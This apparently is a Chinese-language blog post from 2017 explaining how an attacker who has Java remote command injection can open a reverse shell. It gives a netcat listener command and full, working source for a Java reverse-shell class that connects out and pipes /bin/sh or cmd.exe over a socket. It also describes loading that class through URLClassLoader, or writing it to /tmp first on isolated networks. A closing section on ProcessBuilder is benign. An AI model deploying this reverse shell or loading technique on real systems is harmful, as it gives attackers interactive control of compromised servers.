如何利用Java编写反弹工具?
攻击者利用Java远程命令注入漏洞执行payload时,一般需要对shell进行反向连接。攻击者可以利用URLClassloader具备加载远程主机字节码文件的能力执行反弹功能。
1. 攻击者在自己的服务器上利用nc等工具进行端口监听
-l表示 监听模式,用于入站连接
-v表示详细输出,两个-v可以得到更为相信的信息
-p表示本地端口
nc64.exe -lvp 4444
2. 被攻击服务器在远端执行具备反弹shellJava代码,有两种情况:
- 第一种内网与外网网络是连通的攻击者可以利用URLClassloader加载远程服务器jar包,jar包中包含可执行shell反弹的class代码文件。
/**
* Java Shell反弹工具
*
*/
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class JavaReverse extends Thread {
public InputStream is;
public OutputStream os;
public JavaReverse(InputStream inputStream, OutputStream outputStream) {
this.is = inputStream;
this.os = outputStream;
}
public JavaReverse(String host, int port) {
boolean os = System.getProperty("file.separator").equals("/");
try {
Socket socket = new Socket(host, port);
String shell = os ? "/bin/sh" : "cmd.exe";
Process process = Runtime.getRuntime().exec(shell);
new JavaReverse(process.getInputStream(), socket.getOutputStream()).start();
new JavaReverse(socket.getInputStream(), process.getOutputStream()).start();
} catch (Exception e) {
}
}
@Override
public void run() {
BufferedReader inReader = null;
BufferedWriter outWriter = null;
try {
inReader = new BufferedReader(new InputStreamReader(this.is));
outWriter = new BufferedWriter(new OutputStreamWriter(this.os));
char[] arrayOfChar = new char[8192];
int i;
while ((i = inReader.read(arrayOfChar, 0, arrayOfChar.length)) > 0) {
outWriter.write(arrayOfChar, 0, i);
outWriter.flush();
}
} catch (Exception e1) {
} finally {
try {
if (inReader != null) {
inReader.close();
}
if (outWriter != null) {
outWriter.close();
}
} catch (Exception e2) {
}
}
}
public static void main(String[] args) {
new JavaReverse("127.0.0.1", 4444);
synchronized (JavaReverse.class) {
try {
JavaReverse.class.wait();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
- 如果内网与外网网络是隔断?那怎么办?。其实也很简单,既然能够执行远程代码注入,我们可以先将执行代码写入到系统的某个临时目录,如linux系统的/tmp/ErrorExecEcho.class,然后再利用URLClassloader加载刚才写入的本地class字节码。
3. java.lang.Process和java.lang.ProcessBuilder
Java的进程可以调用Runtime.getRuntime().exec方法进行创建。另外,java.lang.ProecessBuilder是Jdk1.5加入的一个新的进程管理类,用户创建新的Java进程,调用它的 start()方法可以创建新的进程。每个ProcessBuilder对象可以管理这些属性: 命令、目录、环境、redirectErrorStream。其中命令是指调用外部程序及其参数;目录是指当前进程的工作目录;redirectErrorStream设置为true可以忽略错误的标准输出流;环境是当前进程从系统环境获取的一个副本。
public final class ProcessBuilder
{
private List<String> command;
private File directory;
private Map<String,String> environment;
private boolean redirectErrorStream;
private Redirect[] redirects;
/**
* Constructs a process builder with the specified operating
* system program and arguments. This constructor does <i>not</i>
* make a copy of the {@code command} list. Subsequent
* updates to the list will be reflected in the state of the
* process builder. It is not checked whether
* {@code command} corresponds to a valid operating system
* command.
*
* @param command the list containing the program and its arguments
* @throws NullPointerException if the argument is null
*/
public ProcessBuilder(List<String> command) {
if (command == null)
throw new NullPointerException();
this.command = command;
}
那Process和ProcessBuilder有什么区别呢?ProcessBuilder相对Process提供了更多的控制功能,比如可以设置当前进程的工作目录、改变当前进程的环境变量等。下面有一个例子利用ProcessBuilder的getInputStream()和getOutputStream()进行命令行交互的代码,重点可以分析proecess.exitVaule()方法, 该方法返回值为0表示正常情况,但是如果子进程还没结束则会抛出IllegalThreadStateException,通过捕获该异常可以检测当前子进程存活状态。会报异常
/**
* Read/write input/output stream of interactive process
*
*/
public class TestProcessIO {
public static boolean isAlive(Process p) {
try {
p.exitValue();
return false;
} catch (IllegalThreadStateException e) {
return true;
}
}
public static void main(String[] args) throws IOException {
ProcessBuilder builder = new ProcessBuilder("cmd.exe");
builder.redirectErrorStream(true); // so we can ignore the error stream
Process process = builder.start();
InputStream out = process.getInputStream();
OutputStream in = process.getOutputStream();
byte[] buffer = new byte[4000];
while (isAlive(process)) {
int no = out.available();
if (no > 0) {
int n = out.read(buffer, 0, Math.min(no, buffer.length));
System.out.println(new String(buffer, 0, n));
}
int ni = System.in.available();
if (ni > 0) {
int n = System.in.read(buffer, 0, Math.min(ni, buffer.length));
in.write(buffer, 0, n);
in.flush();
}
try {
Thread.sleep(10);
} catch (InterruptedException e) {
}
}
System.out.println(process.exitValue());
}
}
另外,感兴趣的同学,可以报名参加本人主讲的Java反序列化漏洞RMI的Chat,大家可以讨论感兴趣的相关问题,URL:
编辑于 2017-11-27 13:58